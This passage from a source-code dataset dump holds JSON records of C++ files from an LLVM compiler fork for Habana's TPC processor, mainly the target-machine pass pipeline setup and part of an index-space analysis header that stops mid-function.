%V{{[0-9]+}}, 0x7b, %VP{{[0-9]+}}\n\n res = av_u8_mac_v_s_vb(x0, 123, res, 1, vpred, 1);\n *dptr++ = res;\n // CHECK: mac.u8 st %A{{[0-9]+}}, %V{{[0-9]+}}, 0x7b, !%VP{{[0-9]+}}\n}\n" }, { "alpha_fraction": 0.6907203197479248, "alphanum_fraction": 0.6918810606002808, "avg_line_length": 33.0065803527832, "blob_id": "f146e8875c69664413dc69fc73a7e707f918c3a1", "content_id": "c4a66661a37a9bc3efed2fb846325fdeca01355a", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 15507, "license_type": "permissive", "max_line_length": 110, "num_lines": 456, "path": "/llvm/lib/Target/TPC/TPCTargetMachine.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===---- TPCTargetMachine.cpp -----------------------------------------------------===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===-------------------------------------------------------------------------------===//\n//\n//===-------------------------------------------------------------------------------===//\n#include \"TPC.h\"\n#include \"TPCAliasAnalysis.h\"\n#include \"TPCSubtarget.h\"\n#include \"TPCTargetMachine.h\"\n#include \"TPCTargetObjectFile.h\"\n#include \"TPCMachineScheduler.h\"\n#include \"TPCTargetTransformInfo.h\"\n#include \"llvm/ADT/STLExtras.h\"\n#include \"llvm/Support/TargetRegistry.h\"\n#include \"llvm/CodeGen/Passes.h\"\n#include \"llvm/CodeGen/TargetPassConfig.h\"\n#include \"llvm/IR/LegacyPassManager.h\"\n#include \"llvm/MC/MCInstrInfo.h\"\n#include \"llvm/MC/MCRegisterInfo.h\"\n#include \"llvm/MC/MCSubtargetInfo.h\"\n#include \"llvm/Target/TargetInfoTPC.h\"\n#include \"llvm/Transforms/InstCombine/InstCombine.h\"\n#include \"llvm/Transforms/IPO.h\"\n#include \"llvm/Transforms/IPO/PassManagerBuilder.h\"\n#include \"llvm/Transforms/Scalar.h\"\n#include \"llvm/Support/CodeGen.h\"\n#include \"llvm/IR/Verifier.h\"\n\nusing namespace llvm;\n\nextern Target TheTPCTarget;\n\nextern \"C\" void LLVMInitializeTPCTarget() {\n // Register the target.\n RegisterTargetMachine<TPCTargetMachine> X(TheTPCTarget);\n\n // Register the target passes.\n PassRegistry &Registry = *PassRegistry::getPassRegistry();\n initializeScalarToIRFPassPass(Registry);\n initializeGlobalResolverPass(Registry);\n initializeGlobalizerPass(Registry);\n initializeNodePreLegalizerPass(Registry);\n initializeAttributeAdjusterPass(Registry);\n initializePromoteMemoryToRegsPass(Registry);\n initializeTpcLoopOptPass(Registry);\n// initializeTPCAAWrapperPassPass(Registry);\n initializeTpcCopyElisionPass(Registry);\n}\n\nstatic Reloc::Model getEffectiveRelocModel(Optional<Reloc::Model> RM) {\n if (!RM.hasValue())\n return Reloc::Static;\n return *RM;\n}\n\nstatic CodeModel::Model getEffectiveCodeModel(Optional<CodeModel::Model> CM) {\n if (!CM.hasValue())\n return CodeModel::Small;\n return CM.getValue();\n}\n\nstatic StringRef normalizeCPUName(StringRef CPU) {\n if (CPU.empty())\n return \"goya\";\n if (CPU == \"dali\")\n return \"goya\";\n return CPU;\n}\n\n// TODO: Research more into data layout format\nTPCTargetMachine::TPCTargetMachine(const Target &T, const Triple &TT, StringRef CPU,\n StringRef FS, const TargetOptions &Options,\n Optional<Reloc::Model> RM, Optional<CodeModel::Model> CM,\n CodeGenOpt::Level OL, bool JIT)\n : LLVMTargetMachine(T, DataLayoutStringTPC, TT, normalizeCPUName(CPU), FS,\n Options, getEffectiveRelocModel(RM), getEffectiveCodeModel(CM, CodeModel::Kernel), OL),\n TLOF(std::make_unique<TPCTargetObjectFile>()) {\n setRequiresStructuredCFG(true);\n initAsmInfo();\n\n // Create default subtarget, which is calculated from CPU and Features.\n Subtarget = createSubtarget(getTargetCPU(), FS);\n\n Subtarget->getFrameLowering()->setMaxScalarMemory(Options.LocalScalarMemory);\n int MaxVLM = Options.LocalVectorMemory ? Options.LocalVectorMemory : Subtarget->getDefaultBigVLMSize();\n Subtarget->getFrameLowering()->setMaxVectorMemory(MaxVLM);\n}\n\nTPCTargetMachine::~TPCTargetMachine() {}\n\n\nTPCSubtarget *TPCTargetMachine::createSubtarget(StringRef CPU,\n StringRef FS) const {\n // If subtarget object object has already been created, return it instead of\n // creating a new object. The subtarget object created with target machine\n // has correct properties, obtained from codegen options.\n //\n // NB! If TPC get function support some day, this method probably should be\n // updated to support per-function subtargets.\n if (Subtarget)\n return Subtarget;\n\n // For now we ignore features, they represent particular CPU cores.\n auto &I = SubtargetMap[CPU];\n if (!I) {\n // This needs to be done before we create a new subtarget since any\n // creation will depend on the TM and the code generation flags on the\n // function that reside in TargetOptions.\n I = std::make_unique<TPCSubtarget>(TargetTriple, CPU, FS, *this);\n }\n return I.get();\n}\n\n\nconst TPCSubtarget *TPCTargetMachine::getSubtargetImpl(const Function& F) const {\n Attribute CPUAttr = F.getFnAttribute(\"target-cpu\");\n Attribute FSAttr = F.getFnAttribute(\"target-features\");\n\n std::string CPU = !CPUAttr.hasAttribute(Attribute::None)\n ? CPUAttr.getValueAsString().str()\n : TargetCPU;\n std::string FS = !FSAttr.hasAttribute(Attribute::None)\n ? FSAttr.getValueAsString().str()\n : TargetFS;\n return createSubtarget(CPU, FS);\n}\n\n\nTargetTransformInfo TPCTargetMachine::getTargetTransformInfo(const Function &F) {\n return TargetTransformInfo(TPCTTIImpl(this, F));\n}\n\nstatic ImmutablePass *createTPCExternalAAWrapperPass() {\n return createExternalAAWrapperPass([](Pass &P, Function &, AAResults &AAR) {\n if (auto *WrapperPass = P.getAnalysisIfAvailable<TPCAAWrapperPass>())\n AAR.addAAResult(WrapperPass->getResult());\n });\n}\n\nvoid TPCTargetMachine::adjustPassManager(PassManagerBuilder &PMB) {\n // Prelegalizer replaces unsupported nodes with function calls. As TPC does\n // not have functions, we must do it before inliner, it is too early, we\n // have no chance to apply generic optimizations.\n //\n // Prelegalizer must be executed at all optimization levels.\n //\n PMB.addExtension(\n PassManagerBuilder::EP_EarlyAsPossible,\n [&](const PassManagerBuilder &, legacy::PassManagerBase &PM) {\n PM.add(createNodePreLegalizer());\n PM.add(createTpcCopyElision());\n });\n\n // Passes specific for -O0.\n if (getOptLevel() == CodeGenOpt::None) {\n // We cannot keep global pointers in memory, so promote them to registers early.\n PMB.addExtension(\n PassManagerBuilder::EP_EnabledOnOptLevel0,\n [&](const PassManagerBuilder &, legacy::PassManagerBase &PM) {\n PM.add(createPromoteMemoryToRegsPass());\n });\n\n // Remove attribute 'OptimizeNone' so that instruction combining can be\n // called.\n PMB.addExtension(\n PassManagerBuilder::EP_EnabledOnOptLevel0,\n [&](const PassManagerBuilder &, legacy::PassManagerBase &PM) {\n PM.add(createAttributeAdjuster());\n });\n\n // Instruction combiner greatly simplifies selector job by making generic\n // transformations, although it can make generation of debug info more\n // complex.\n PMB.addExtension(\n PassManagerBuilder::EP_EnabledOnOptLevel0,\n [&](const PassManagerBuilder &, legacy::PassManagerBase &PM) {\n PM.add(createInstructionCombiningPass(false/*ExpensiveCombines*/));\n });\n\n // At -O0 IR pipeline is short and we must call Globalizer and GlobalResolver\n // here, as extension point EP_OptimizerLast is not available.\n PMB.addExtension(\n PassManagerBuilder::EP_EnabledOnOptLevel0,\n [&](const PassManagerBuilder &, legacy::PassManagerBase &PM) {\n PM.add(createGlobalizer());\n });\n // Globalizer leaves hanging IR fragments that have no uses. Remove them now.\n PMB.addExtension(\n PassManagerBuilder::EP_EnabledOnOptLevel0,\n [&](const PassManagerBuilder &, legacy::PassManagerBase &PM) {\n PM.add(createAggressiveDCEPass());\n });\n PMB.addExtension(\n PassManagerBuilder::EP_EnabledOnOptLevel0,\n [&](const PassManagerBuilder &, legacy::PassManagerBase &PM) {\n PM.add(createGlobalResolver());\n });\n }\n\n // Optimization passes.\n else {\n PMB.addExtension(\n PassManagerBuilder::EP_EarlyAsPossible,\n [&](const PassManagerBuilder &, legacy::PassManagerBase &PM) {\n PM.add(createCFGSimplificationPass());\n });\n/* Not time due to store instruction\n PMB.addExtension(\n PassManagerBuilder::EP_EarlyAsPossible,\n [&](const PassManagerBuilder &, legacy::PassManagerBase &PM) {\n PM.add(createTPCUnbranchPass());\n });\n*/\n PMB.addExtension(\n PassManagerBuilder::EP_EarlyAsPossible,\n [&](const PassManagerBuilder &, legacy::PassManagerBase &PM) {\n PM.add(createTPCTransformIntrinPass());\n });\n\n PMB.addExtension(\n PassManagerBuilder::EP_EarlyAsPossible,\n [&](const PassManagerBuilder &, legacy::PassManagerBase &PM) {\n PM.add(createSROAPass());\n });\n\n PMB.addExtension(\n PassManagerBuilder::EP_EarlyAsPossible,\n [&](const PassManagerBuilder &, legacy::PassManagerBase &PM) {\n PM.add(createScalarToIRFPass(false));\n });\n\n\n PMB.addExtension(\n PassManagerBuilder::EP_CGSCCOptimizerLate,\n [&](const PassManagerBuilder &, legacy::PassManagerBase &PM) {\n PM.add(createGlobalOptimizerPass());\n });\n\n PMB.addExtension(\n PassManagerBuilder::EP_CGSCCOptimizerLate,\n [&](const PassManagerBuilder &, legacy::PassManagerBase &PM) {\n PM.add(createAggressiveDCEPass());\n });\n\n PMB.addExtension(\n PassManagerBuilder::EP_CGSCCOptimizerLate,\n [&](const PassManagerBuilder &, legacy::PassManagerBase &PM) {\n PM.add(createSROAPass());\n });\n\n PMB.addExtension(\n PassManagerBuilder::EP_OptimizerLast,\n [&](const PassManagerBuilder &, legacy::PassManagerBase &PM) {\n PM.add(createTpcLoopOptPass());\n });\n PMB.addExtension(\n PassManagerBuilder::EP_OptimizerLast,\n [&](const PassManagerBuilder &, legacy::PassManagerBase &PM) {\n PM.add(createDeadCodeEliminationPass());\n });\n\n PMB.addExtension(\n PassManagerBuilder::EP_OptimizerLast,\n [&](const PassManagerBuilder &, legacy::PassManagerBase &PM) {\n PM.add(createGlobalizer());\n //PM.add(createVerifierPass());\n });\n\n PMB.addExtension(\n PassManagerBuilder::EP_OptimizerLast,\n [&](const PassManagerBuilder &, legacy::PassManagerBase &PM) {\n PM.add(createGlobalResolver());\n //PM.add(createVerifierPass());\n });\n\n PMB.addExtension(\n PassManagerBuilder::EP_ModuleOptimizerEarly,\n [&](const PassManagerBuilder &, legacy::PassManagerBase &PM) {\n PM.add(createTPCAAWrapperPass());\n PM.add(createTPCExternalAAWrapperPass());\n });\n PMB.addExtension(\n PassManagerBuilder::EP_EarlyAsPossible,\n [&](const PassManagerBuilder &, legacy::PassManagerBase &PM) {\n PM.add(createTPCAAWrapperPass());\n PM.add(createTPCExternalAAWrapperPass());\n });\n\n }\n}\n\n\nnamespace {\n/// TPC Code Generator Pass Configuration Options.\nclass TPCPassConfig : public TargetPassConfig {\npublic:\n TPCPassConfig(TPCTargetMachine *TM, PassManagerBase &PM)\n : TargetPassConfig(*TM, PM) {\n substitutePass(&PostRASchedulerID, &PostMachineSchedulerID);\n }\n\n TPCTargetMachine &getTPCTargetMachine() const {\n return getTM<TPCTargetMachine>();\n }\n\n FunctionPass *createTargetRegisterAllocator(bool Optimized) override {\n // Use Greedy RA even for -O0.\n return createGreedyRegisterAllocator();\n }\n\n void addFastRegAlloc() override {\n addPass(createTPCExpandHWRegCopies());\n // We have to use optimizing RA even for -O0.\n addPass(&LiveVariablesID, false);\n addPass(&PHIEliminationID, false);\n addPass(&TwoAddressInstructionPassID, false);\n addPass(&RegisterCoalescerID);\n\n // Add the selected register allocation pass.\n addPass(createRegAllocPass(true));\n\n // Allow targets to change the register assignments before rewriting.\n addPreRewrite();\n\n // Finally rewrite virtual registers.\n addPass(&VirtRegRewriterID);\n }\n\n void addOptimizedRegAlloc() override { \n addPass(createTPCExpandHWRegCopies());\n TargetPassConfig::addOptimizedRegAlloc();\n }\n\n ScheduleDAGInstrs *\n createMachineScheduler(MachineSchedContext *C) const override {\n return createTPCMachineScheduler(C);\n }\n\n// TODO: Implement postRA strategy and enable this scheduler\n#if 1\n ScheduleDAGInstrs *\n createPostMachineScheduler(MachineSchedContext *C) const override {\n return createTPCPostMachineScheduler(C);\n }\n#endif\n\n void addIRPasses() override;\n void addMachineSSAOptimization() override;\n bool addPreISel() override;\n bool addInstSelector() override;\n void addPreRegAlloc() override;\n //void addPostRegAlloc() override;\n void addPreSched2() override;\n bool addGCPasses() override { return false; }\n\n void addPreEmitPass() override;\n};\n} // namespace\n\nTargetPassConfig *TPCTargetMachine::createPassConfig(PassManagerBase &PM) {\n return new TPCPassConfig(this, PM);\n}\n\nvoid TPCPassConfig::addIRPasses() {\n addPass(createTPCIndexGen());\n TargetPassConfig::addIRPasses();\n\n addPass(createTPCAAWrapperPass());\n addPass(createExternalAAWrapperPass([](Pass &P, Function &,\n AAResults &AAR) {\n if (auto *WrapperPass = P.getAnalysisIfAvailable<TPCAAWrapperPass>())\n AAR.addAAResult(WrapperPass->getResult());\n }));\n\n}\n\nvoid TPCPassConfig::addMachineSSAOptimization() {\n if (getOptLevel() > CodeGenOpt::None)\n addPass(createTPCHWWAGeneral());\n TargetPassConfig::addMachineSSAOptimization();\n if (getOptLevel() > CodeGenOpt::None) {\n addPass(createTPCPredicateOptimizer());\n addPass(createTPCSetIndxCoalescer());\n addPass(&DeadMachineInstructionElimID);\n }\n}\n\nvoid TPCPassConfig::addPreEmitPass() {\n bool NoOpt = (getOptLevel() == CodeGenOpt::None);\n\n addPass(createTPCLutCacheCounter(), false);\n // Create Packets.\n#if !defined(TPC_DISABLE_PACKETIZER) && !defined(TPC_DISABLE_ALL_SCHED)\n if (!NoOpt) {\n addPass(createTPCPacketizer(), false);\n }\n#endif\n addPass(createTPCUnHardwareLoops());\n#if !defined(TPC_DISABLE_NOP_INSERTER) && !defined(TPC_DISABLE_ALL_SCHED)\n addPass(createTPCLatencyResolver(), false);\n addPass(createTPCPipelineRegs(), false);\n addPass(createTPCCostModelEmitter(), false);\n#endif\n addPass(createTPCInstrCompress(), false);\n addPass(createTPCRegisterCounter(), false);\n addPass(createTPCElfSpecSet(), false);\n}\n\nbool TPCPassConfig::addPreISel() {\n bool NoOpt = (getOptLevel() == CodeGenOpt::None);\n if (!NoOpt) {\n addPass(createTPCFMAoptPass());\n addPass(createTPCUnbranchPass());\n }\n addPass(createTPCSelectorPreshaper());\n addPass(createTPCSingleUseScalarOptimizer());\n addPass(createAggressiveDCEPass());\n return false;\n}\n\nbool TPCPassConfig::addInstSelector() {\n addPass(createTPCISelDag(getTPCTargetMachine(), getOptLevel()));\n addPass(createTPCMemorySize());\n return false;\n}\n\nvoid TPCPassConfig::addPreRegAlloc() {\n addPass(createTPCScalarSink());\n if (getOptLevel() != CodeGenOpt::None)\n addBlockPlacement();\n if (getOptLevel() >= CodeGenOpt::Default) {\n addPass(createTPCImmToReg());\n addPass(createTPCAddrOpt());\n addPass(createTPCRegisterBalancer());\n addPass(&DeadMachineInstructionElimID);\n addPass(createTPCHardwareLoops(), false);\n addPass(createTPCPipeliner(), false);\n addPass(&DeadMachineInstructionElimID);\n addPass(createTPCSubregInitElimination());\n // TODO: some kernels fail because of this pass\n //addPass(createTPCMovCoalescer());\n }\n if (getOptLevel() == CodeGenOpt::None)\n addPass(createTPCHWWAGeneral());\n\n addPass(createTPCHWWA2());\n addPass(createTPCPreRAHwWorkarounds());\n}\n\nvoid TPCPassConfig::addPreSched2() {\n addPass(createTPCSetSpillBase(), false);\n}\n" }, { "alpha_fraction": 0.6067582368850708, "alphanum_fraction": 0.6133682727813721, "avg_line_length": 34.0279426574707, "blob_id": "90e64b54812a3bc68f9d872776852817ff5ba3c7", "content_id": "ac8f0805206db8b584d125fa8e14f051cddefa92", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 17549, "license_type": "permissive", "max_line_length": 80, "num_lines": 501, "path": "/llvm/lib/Target/TPC/TPCIndexSpaceGen.h", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===- TPCIndexSpaceGen.h --- TPC INDEX SPACE ----------------------------===//\n//\n//\n// The LLVM Compiler Infrastructure:\n//\n// 2020 - This pass is a property of Habana labs\n//\n//\n//===----------------------------------------------------------------------===//\n//===----------------------------------------------------------------------===//\n#ifndef LLVM_TPC_INDEX_SPACE_GEN_CPP_H\n#define LLVM_TPC_INDEX_SPACE_GEN_CPP_H\n\n#include \"TPCTargetMachine.h\"\n#include \"llvm/ADT/StringRef.h\"\n#include \"llvm/Analysis/AssumptionCache.h\"\n#include \"llvm/Analysis/LoopInfo.h\"\n#include \"llvm/Analysis/MemoryBuiltins.h\"\n#include \"llvm/Analysis/ScalarEvolution.h\"\n#include \"llvm/Analysis/ScalarEvolutionExpander.h\"\n#include \"llvm/Analysis/ScalarEvolutionExpressions.h\"\n#include \"llvm/IR/Function.h\"\n#include \"llvm/IR/InstIterator.h\"\n#include \"llvm/IR/IntrinsicInst.h\"\n#include \"llvm/IR/IntrinsicsTPC.h\"\n#include \"llvm/Transforms/Utils/LoopUtils.h\"\n#include \"llvm/Transforms/Utils/UnrollLoop.h\"\n#include <unordered_map>\n#include <unordered_set>\n\nusing namespace llvm;\n\n#define PassName \"TPCIndexGen\"\n#define PassDescription \"Generate index factors per tensor for the kernel.\"\n#define DEBUG_TYPE PassName\n\nenum class TensorType { Input, Output, Aux };\n\nstruct TensorInfo {\n std::string Name;\n TensorType Type;\n unsigned Order;\n SmallVector<int, 5> IndexFactor;\n std::unordered_map<int, std::string> umap;\n unsigned AccessGranularity; /*64, 128, 256*/\n};\n\nclass SCEVInfo {\npublic:\n SCEVInfo(Loop *L, LoopInfo *LI, ScalarEvolution *SE) : L(L), LI(LI), SE(SE) {\n processSCEVInfo();\n if (!SCEVPtr)\n LLVM_DEBUG(dbgs() << \"Induction Variable could not be computed\"\n << \"\\n\");\n }\n\n int64_t getSCEVStep() const;\n\n PHINode *getLoopInductionVar() const;\n\n std::string getSCEVLoopName() const;\n\n unsigned getLoopUnrollCount(Loop *L) const;\n\n Loop *getLoopPtr() const;\n\n void processSCEVExpression(); // TODO : Define per usage\n\n void dump() const;\n\nprivate:\n void processSCEVInfo();\n Loop *L;\n LoopInfo *LI;\n ScalarEvolution *SE;\n const SCEV *SCEVPtr = nullptr;\n PHINode *LoopIndVar = nullptr;\n};\n\n// Utility for creating storage with SCEVInfo type\n\nstruct SCEVInfoHasher {\n size_t operator()(const SCEVInfo &obj) const noexcept {\n return std::hash<Loop *>()(obj.getLoopPtr());\n }\n};\n\nstruct SCEVInfoComparator {\n bool operator()(const SCEVInfo &obj1, const SCEVInfo &obj2) const {\n if (obj1.getLoopPtr() == obj2.getLoopPtr())\n return true;\n return false;\n }\n};\n\nclass TensorAccessAnalysis {\npublic:\n TensorAccessAnalysis(SmallVector<Loop *, 8> &TensorLoopsArg,\n ScalarEvolution *SEArg, LoopInfo *LIArg)\n : TensorLoops(TensorLoopsArg), SE(SEArg), LI(LIArg) {\n for (Loop *L : TensorLoops)\n LoopSCEVInfo.emplace_back(L, LI, SE);\n FakeTensorId = 0;\n\n ArchTensorsBase[\"gaudi\"] = 0x400U;\n ArchTensorsBase[\"goya\"] = 0x400U;\n TensorSizeStrideArrOffset = 0x10U;\n\n ArchTensorsDescSize[\"gaudi\"] = 0x38U;\n ArchTensorsDescSize[\"goya\"] = 0x4cU;\n\n ConfigStartOffset[\"goya\"] = 0x40C;\n ConfigStartOffset[\"gaudi\"] = 0x40C;\n\n ConfigOffset[\"goya\"] = 0x4C;\n ConfigOffset[\"gaudi\"] = 0x38;\n }\n\n void processPragmaInfo(Function &F);\n void prepareStLData(Function &F);\n void prepareLdStLData(Function &F);\n void processLoadStoreLocalInfo(Function &F);\n void computeTensorInfo(Function &F, bool Update);\n void getloadstoreIntrins(Function &F);\n bool compDepthCheckforNextBlock(int Currdepth, Value *InVal,\n BasicBlock *RefBB);\n void processSetIndexNode(int TensorId, Loop *CurrLoop, PHINode *PHI,\n Function &F, IntrinsicInst *SetIndexInst);\n std::string getFormula(IntrinsicInst *Intrins, Function &F);\n const std::vector<TensorInfo> &getInputVector() { return Input; }\n const std::vector<TensorInfo> &getOutputVector() { return Output; }\n const std::vector<TensorInfo> &getAuxVector() { return Aux; }\n const std::vector<TensorInfo> &getGCCustomVec() { return GCCustom; }\n std::string BailoutReason;\n void updateIndSpaceCoords();\n const SmallVector<unsigned, 16> &getRedNormTensorVec() {\n return TensorIDVecReduction;\n }\n const SmallVector<std::string, 8> &getRedNormTensorAxes() {\n return ReductionOrNormAxes;\n }\n const std::multimap<int, std::tuple<int, std::string, std::string>> &\n getStartBEndBCoords() {\n return StartBEndBCoords;\n }\n void resetFakeTensorId() { FakeTensorId = 0; }\n bool getIndexSpaceBool() { return IncorrectIndexSpace; }\n void updateCoordFactor(unsigned int TensorID, unsigned int DimIndex,\n int DimFactor, std::string = \"\", Loop * = nullptr);\n void dumpIntoASM();\n void dumpIntoASM_MLIR();\n void processPHIUses(int TensorId, PHINode *PHI, Loop *CurrLoop, Function &F);\n void checkRuntimeInfo(int TensorId, std::vector<Value *> TraceToPHI);\n void analyseGenAddr();\n void padGCCustom();\n void updateAddMask();\n void addToProcessedPHI(PHINode *PHI) { VisitedPhiNodes.push_back(PHI); }\n bool iterateProcessedPHI(PHINode *PHI) {\n for (auto Iter : VisitedPhiNodes) {\n if (Iter == PHI)\n return true;\n }\n return false;\n }\n bool iterateProcessedNodes(int TensorId, Loop *CurrLoop) {\n auto DiffCBegin = DiffCoords.lower_bound(TensorId);\n auto DiffCEnd = DiffCoords.upper_bound(TensorId);\n while (DiffCBegin != DiffCEnd) {\n if (TensorId == DiffCBegin->first &&\n CurrLoop == std::get<3>(DiffCBegin->second)) {\n // Loop ptr already exists, we need to update the counter\n return true;\n }\n DiffCBegin++;\n }\n return false;\n }\n\nprivate:\n DenseMap<StringRef, unsigned> ConfigStartOffset;\n DenseMap<StringRef, unsigned> ConfigOffset;\n DenseMap<StringRef, unsigned> ArchTensorsBase;\n DenseMap<StringRef, unsigned> ArchTensorsDescSize;\n SmallVector<unsigned, 16> ArchLdStLVec;\n unsigned TensorSizeStrideArrOffset;\n\n SmallVector<Loop *, 8> &TensorLoops;\n ScalarEvolution *SE;\n LoopInfo *LI;\n SmallVector<SCEVInfo, 8> LoopSCEVInfo;\n\n SCEVInfo *getScevInfo(Loop *L) {\n for (unsigned i = 0; i < LoopSCEVInfo.size(); i++) {\n if (LoopSCEVInfo[i].getLoopPtr() == L)\n return &LoopSCEVInfo[i];\n }\n return nullptr;\n }\n\n SmallDenseSet<Instruction *> UniqueTensors;\n std::vector<Instruction *> Tensors;\n std::map<int, TensorType> TensorTypeMap;\n std::unordered_map<int, std::unordered_set<Loop *>> TensorLoopMapInfo;\n std::unordered_map<int, std::vector<std::tuple<Loop *, int, std::string>>>\n TensorCordInfoMap;\n int FakeTensorId, FakeTensorIdPad = int('x');\n bool IncorrectIndexSpace = false;\n\n Loop* getLoopPointerForOperand(Instruction *InsertInst);\n Loop *compareStepValuesForAddMask(PHINode *Phi, Loop *CurrLoop);\n void PrepareUnrollLoopIvCoordMap(Instruction *Inst, int TensorId);\n void processInsertElementNode(Instruction *InsertInst, Loop *CurrLoop,\n PHINode *PHIPtr, unsigned TensorId);\n void processNestedInstructions(Instruction *RootInst, Loop *CurrLoop,\n PHINode *PHI, int TensorId, bool CopyPHI,\n Function &F);\n void innerLoopUpdates(Instruction *T, int TensorId);\n TensorInfo getTensorInfo(unsigned TensorId);\n int64_t getAddMaskStepVar(IntrinsicInst *Instr);\n int64_t setIndexStepVar(Instruction *StepVar, Loop *CurrLoop);\n std::multimap<int, std::tuple<int, int, std::string, Loop *, PHINode *>>\n DiffCoords;\n std::multimap<int, std::tuple<int, std::string, std::string>>\n StartBEndBCoords;\n std::map<unsigned, unsigned> CopyIndSpace;\n std::map<unsigned, Instruction *> GenAddrMap;\n SmallVector<PHINode *, 8> VisitedPhiNodes;\n SmallVector<unsigned, 8> PragmaTensors;\n SmallDenseSet<unsigned> LdStLTensors;\n SmallDenseSet<unsigned> StLTensors;\n SmallDenseSet<unsigned> FallBackVec;\n SmallVector<unsigned, 16> TensorIDVecReduction;\n SmallVector<std::string, 8> ReductionOrNormAxes;\n\n void UpdateDiffCoords(int TensorId, int Index, int StrideVal,\n std::string Formula, Loop *CurrLoop, PHINode *PHI) {\n auto DiffCBegin = DiffCoords.lower_bound(TensorId);\n auto DiffCEnd = DiffCoords.upper_bound(TensorId);\n bool Update = false;\n while (DiffCBegin != DiffCEnd) {\n if (TensorId == DiffCBegin->first &&\n Index == std::get<0>(DiffCBegin->second) &&\n CurrLoop == std::get<3>(DiffCBegin->second) &&\n PHI == std::get<4>(DiffCBegin->second)) {\n // Loop ptr already exists, we need to update the counter\n auto UpdatedVal = std::get<1>(DiffCBegin->second) + StrideVal;\n DiffCoords.erase(DiffCBegin);\n DiffCoords.insert({TensorId, std::make_tuple(Index, UpdatedVal, Formula,\n CurrLoop, PHI)});\n Update = true;\n break;\n }\n DiffCBegin++;\n }\n if (!Update) {\n DiffCoords.insert({TensorId, std::make_tuple(Index, StrideVal, Formula,\n CurrLoop, PHI)});\n }\n }\n\n bool is_ld_l_tnsr(Intrinsic::ID InId) {\n if (InId == Intrinsic::tpc_ld_l) {\n return true;\n }\n return false;\n }\n\n bool is_st_l_tnsr(Intrinsic::ID InId) {\n if (InId == Intrinsic::tpc_st_l) {\n return true;\n }\n return false;\n }\n\n bool is_ld_st_tnsr(Intrinsic::ID InId) {\n if (InId == Intrinsic::tpc_ld_tnsr || InId == Intrinsic::tpc_ld_tnsr_high ||\n InId == Intrinsic::tpc_ld_tnsr_low ||\n InId == Intrinsic::tpc_ld_tnsr_partial ||\n InId == Intrinsic::tpc_st_tnsr || InId == Intrinsic::tpc_st_tnsr_high ||\n InId == Intrinsic::tpc_st_tnsr_low ||\n InId == Intrinsic::tpc_st_tnsr_low_rmw ||\n InId == Intrinsic::tpc_st_tnsr_partial ||\n InId == Intrinsic::tpc_st_tnsr_partial_rmw ||\n InId == Intrinsic::tpc_gen_addr || InId == Intrinsic::tpc_st_tnsr_rmw)\n return true;\n return false;\n }\n\n int GetValId(Value *val) {\n if ((dyn_cast<llvm::ConstantInt>(val)) &&\n val->getValueID() == Value::ConstantIntVal) {\n return dyn_cast<llvm::ConstantInt>(val)->getZExtValue();\n } else\n return -1;\n }\n\n std::vector<unsigned> ld_id;\n std::vector<unsigned> st_id;\n std::vector<unsigned> Tensor_ids;\n int GetTensorId(Value *val) {\n if (val->getValueID() == Value::ConstantIntVal) {\n if (dyn_cast<llvm::ConstantInt>(val))\n return dyn_cast<llvm::ConstantInt>(val)->getZExtValue();\n else\n return -1;\n }\n return (FakeTensorIdPad + FakeTensorId++);\n }\n\n void prepareTensorLoopMap(int TensorId, Loop *L) {\n if (TensorLoopMapInfo.find(TensorId) == TensorLoopMapInfo.end()) {\n TensorLoopMapInfo[TensorId].insert(L);\n return;\n }\n TensorLoopMapInfo.at(TensorId).insert(L);\n }\n\n void classifyTensorType(int TensorId, Instruction *I) {\n if (auto *intrins = dyn_cast<IntrinsicInst>(I)) {\n Intrinsic::ID inid = intrins->getIntrinsicID();\n if (TensorTypeMap.find(TensorId) == TensorTypeMap.end()) {\n TensorTypeMap[TensorId] = (inid == Intrinsic::tpc_ld_tnsr ||\n inid == Intrinsic::tpc_ld_tnsr_high ||\n inid == Intrinsic::tpc_ld_tnsr_low ||\n inid == Intrinsic::tpc_ld_tnsr_partial ||\n inid == Intrinsic::tpc_gen_addr)\n ? TensorType::Input\n : TensorType::Output;\n if (inid == Intrinsic::tpc_gen_addr)\n GenAddrMap.insert(std::make_pair(TensorId, I));\n return;\n } else if (inid == Intrinsic::tpc_ld_tnsr ||\n inid == Intrinsic::tpc_gen_addr) {\n TensorTypeMap[TensorId] = TensorType::Input;\n if (inid == Intrinsic::tpc_gen_addr) {\n // compare loop depths for gen_addr entry\n if (GenAddrMap.find(TensorId) == GenAddrMap.end())\n GenAddrMap.insert(std::make_pair(TensorId, I));\n else {\n auto PrevParent =\n LI->getLoopFor(GenAddrMap.at(TensorId)->getParent());\n auto CurrParent = LI->getLoopFor(I->getParent());\n if (!CurrParent)\n return;\n if (!PrevParent ||\n (PrevParent->getLoopDepth() < CurrParent->getLoopDepth())) {\n GenAddrMap.erase(TensorId);\n GenAddrMap.insert(std::make_pair(TensorId, I));\n }\n }\n }\n } else if (inid == Intrinsic::tpc_st_tnsr)\n TensorTypeMap[TensorId] = TensorType::Output;\n }\n return;\n }\n\n void prepareLoopIvCoordMap(int TensorId, Loop *L, int index,\n std::string formula = \"\") {\n if (TensorCordInfoMap.find(TensorId) == TensorCordInfoMap.end()) {\n TensorCordInfoMap[TensorId].push_back(std::make_tuple(L, index, formula));\n return;\n }\n std::vector<std::tuple<Loop *, int, std::string>>::iterator it =\n TensorCordInfoMap.at(TensorId).begin();\n // update\n for (; it < TensorCordInfoMap.at(TensorId).end(); ++it) {\n Loop *Loopit = std::get<0>(*it);\n int indexit = std::get<1>(*it);\n std::string formulait = std::get<2>(*it);\n if (Loopit == nullptr || L == nullptr) {\n if (index == indexit) {\n // Index is same but give priority to Formula\n if (formula.length() > 0) {\n TensorCordInfoMap[TensorId].erase(it);\n TensorCordInfoMap.at(TensorId).push_back(\n std::make_tuple(L, index, formula));\n return;\n }\n if (std::get<2>(*it).length() > 0) {\n return;\n }\n\n int64_t LoopStep1 = -1;\n int64_t LoopStep2 = -1, DiffCoordsStep = 0;\n // Fetch required data from DiffCoords map\n 